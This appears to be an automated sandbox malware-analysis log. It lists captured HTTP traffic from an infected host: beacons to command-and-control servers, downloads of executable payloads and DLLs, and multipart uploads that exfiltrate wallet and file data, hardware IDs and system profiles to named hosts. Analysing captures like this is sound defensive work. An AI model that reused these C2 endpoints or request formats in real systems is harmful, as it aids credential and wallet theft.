name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="file"------AEBKKECBGIIJJKECGIJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016131001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016132001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="message"wallets------GCGHCBKFCFBFHIDHDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="message"files------KEHDHIDAEHCFHJJJJECA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016133001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /kNcZsqQOSglxukmuLodY1734167391 HTTP/1.1Host: home.twentygr20sb.topAccept: /Content-Type: application/jsonContent-Length: 38787Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 33 35 37 37 39 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22
Source: global traffic	HTTP traffic detected: GET /kNcZsqQOSglxukmuLodY1734167391?argument=sypEa2ygPYYA5Tt31734357798 HTTP/1.1Host: home.twentygr20sb.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016135001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="build"stok------GHJDGDBFCBKFHJKFHCBK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 36 31 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1016136001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="build"stok------DHIJDHIDBGHJKECBFIID--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="build"stok------KECBGCGCGIEGCBFHIIEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016137001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentygr20sb.topAccept: /Content-Length: 458Content-Type: multipart/form-data; boundary=------------------------Zyo8sUFPMtuDPsixsGYIivData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5a 79 6f 38 73 55 46 50 4d 74 75 44 50 73 69 78 73 47 59 49 69 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 7a 75 68 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 25 c7 c3 7e 0f 67 27 e0 49 61 ff 34 66 6e 57 bb dc 74 d5 9f 9b cd 0b 68 3b 00 71 d4 62 b1 aa 66 4b 73 aa 8a fd 43 a2 27 70 c8 c0 34 32 33 f4 b7 68 64 e4 12 ae 49 f3 79 8f 92 06 d6 e8 76 9d 90 30 6e 3a ee 5a b5 ff 73 da b5 59 49 07 35 8a 3f c2 e7 ae cb 4f 77 ea 62 a2 ec d5 2f 63 e7 5c aa 27 6d 5f 69 d6 78 bf 9f f5 48 52 d1 18 77 f2 c8 3e 28 24 7f 0e 08 0f 23 90 e3 8d bb 19 1b f4 1e 50 e8 1e 5d 47 8a dc 7c 52 b9 3b 1e 85 70 bc 5f 99 1d 4c 94 c6 65 3c fc 2e d0 b8 64 05 5b b8 53 ae a2 e1 90 03 eb 5a e3 e0 43 ae 1e 69 75 dd 89 49 bc 62 09 4c 18 b8 36 64 0d ad 73 12 0d 43 2d cd 25 e2 ad 83 ad ab c2 1d 18 b0 46 13 d3 0f 31 35 1d 9d e6 bb cc 20 d4 7c 4a 02 5d 71 eb 91 5a e6 e1 60 f2 47 22 c5 7a c7 35 03 d1 b2 62 cb bf da 91 35 22 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5a 79 6f 38 73 55 46 50 4d 74 75 44 50 73 69 78 73 47 59 49 69 76 2d 2d 0d 0a Data Ascii: --------------------------Zyo8sUFPMtuDPsixsGYIivContent-Disposition: form-data; name="file"; filename="Wezuho.bin"Content-Type: application/octet-stream%~g'Ia4fnWth;qbfKsC'p423hdIyv0n:ZsYI5?Owb/c\'m_ixHRw>($#P]G\|R;p_Le<.d[SZCiuIbL6dsC-%F15 \|J]qZ`G"z5b5"--------------------------Zyo8sUFPMtuDPsixsGYIiv--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentygr20sb.topAccept: /Content-Length: 58428Content-Type: multipart/form-data; boundary=------------------------1bdbsKdBo3wuJTJ4UTCpTyData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 62 64 62 73 4b 64 42 6f 33 77 75 4a 54 4a 34 55 54 43 70 54 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 61 71 61 72 6f 72 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 3b 62 c7 1b 73 ee f8 6c 25 26 0e e3 3a ad c7 2f 8a b6 7f 0a 65 35 5d 0d d4 6d 20 cc 35 05 d3 02 4d 48 4e 15 fc 1c 97 11 68 62 a4 c0 c1 ce bd 16 f4 9b 7e 66 c8 9c 62 44 b6 0d ab 88 cc 39 5c db ef e7 e9 d9 0d 5e ba 2f 5c 73 47 22 2c cd 22 73 a2 bc d2 18 d3 01 a0 62 d5 95 4d dd d3 90 c1 6c 1a 19 9d ec a1 2d 18 c9 dc 88 55 e5 ce 9a be 75 3e 98 07 4e 41 7b 11 2e 1a 9f 44 26 ca 63 52 09 a3 26 8a c2 35 59 5d 54 9a 53 54 98 29 c3 e0 7d fd 55 45 08 79 2a 0a 20 4e 51 99 39 61 2b 37 ba cd 1e 8e 5b 77 a8 67 67 1e 6a 28 8c 72 48 98 e6 40 44 54 03 96 cc 9f c0 b2 bd 57 a2 d7 94 5b 7c 1c 70 73 4a 99 9d 9f 78 38 f1 e0 3c 2b e3 ba 84 d8 15 d8 cf 9e 13 46 f0 bb 0f 30 46 a9 04 3b 99 56 16 96 ed d8 f9 2b 5c e5 be c8 50 f1 ff 5b c7 7c 99 c8 9d 08 92 f7 0f c7 a7 26 84 16 52 8d 38 12 6c 02 9c d7 d5 e2 72 84 6b a9 ef 25 4d 2f 68 68 25 35 41 d4 cf 91 f8 65 22 bc 9f a0 93 21 9d 76 5d 3c fd dd 4f f9 0b 7f 37 27 11 3b d8 08 a4 a6 44 6a fb 13 13 e5 82 67 40 a6 98 28 78 c9 74 45 fb 09 37 fa c4 59 16 13 34 08 d2 16 50 7f f9 9e b0 68 f4 87 f9 de ab 53 2e c6 66 5d da dd 31 2e f0 1f ae 8d 5f f3 98 13 c8 fa 20 95 68 9b d1 52 1c 19 bf e7 10 03 b8 f8 77 74 fe 5e ca 80 df 90 45 3c 1c 86 ff 56 ea 8a 4b 67 8d ce 33 b2 d2 5d 49 8e 22 5c 3b a1 db 67 3d f7 bb 9a c5 85 17 10 a0 bf 95 b8 03 30 f3 38 33 eb 75 b1 c7 b2 2c 28 8b 40 44 6b c3 bc f1 f4 34 87 3d c8 1b 67 b4 c2 1e 62 ed a6 e9 06 9d 69 a4 77 ce 89 75 85 64 f2 e6 b7 05 09 9d c0 86 0c dc e9 bb 07 25 07 46 52 b9 cb 21 90 59 6f f6 6b a1 bb 5b dd e6 3e 13 52 10 66 c0 b7 85 97 6d 4d d4 c9 09 80 4c 3f 4c 35 46 d0 21 f8 c6 51 fa 1f 0a 42 65 d4 87 a9 52 df 46 20 1d f0 e1 3c e5 40 22 59 03 da 28 7c f4 27 0a cd 46 a0 5e 01 d5 f8 91 a4 00 2e 13 27 37 a7 58 ed 3a 95 c2 d9 19 84 e2 ef 08 30 92 b0 c9 7a 5c be 3b 73 95 4a b3 a7 08 04 ab ab 1c 1e 8c cb 3f f4 af a0 4a 30 1a 84 e4 03 fc d3 80 68 19 3d 92 49 97 9c c3 9c ec 96 2f 9f c7 2f 02 5d 51 c6 35 74 b6 41 a2 6b a7 36 3f d9 6f ed cd 3a ea 5e 54 45 8c b7 ed f1 c5 4a cd 11 d9 d4 3c e2 ce 3b 74 7a cb f7 09 29 c4 2d bb 7e cb 73 13 ad 5b 42 92 72 49 3e b2 3e 65 d5 c9 c5 aa 8a 95 fc f9 d6 a1 9f 92 35 c2 3b d7 74 8a 77 8c d1 ee 36 12 f9 63 d8 4d da af e2 05 21 04 53 1b 8c ed 9e ab f8 0a 89 c1 14 87 6d 04 7d 22 7d 95 b4 ab c4 94 4e 81 52 2d 3e 45 e3 cb 9b 67 34 9c 9c 37 dc d2 2b d8 8d fa db 2c 7f 58 d1 b2 4f 46 4b e1 b9 e8 00 f7 76 4d 33 10
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFBGDGHIIJJKEBKJDBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="build"stok------KEBFBGDGHIIJJKEBKJDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
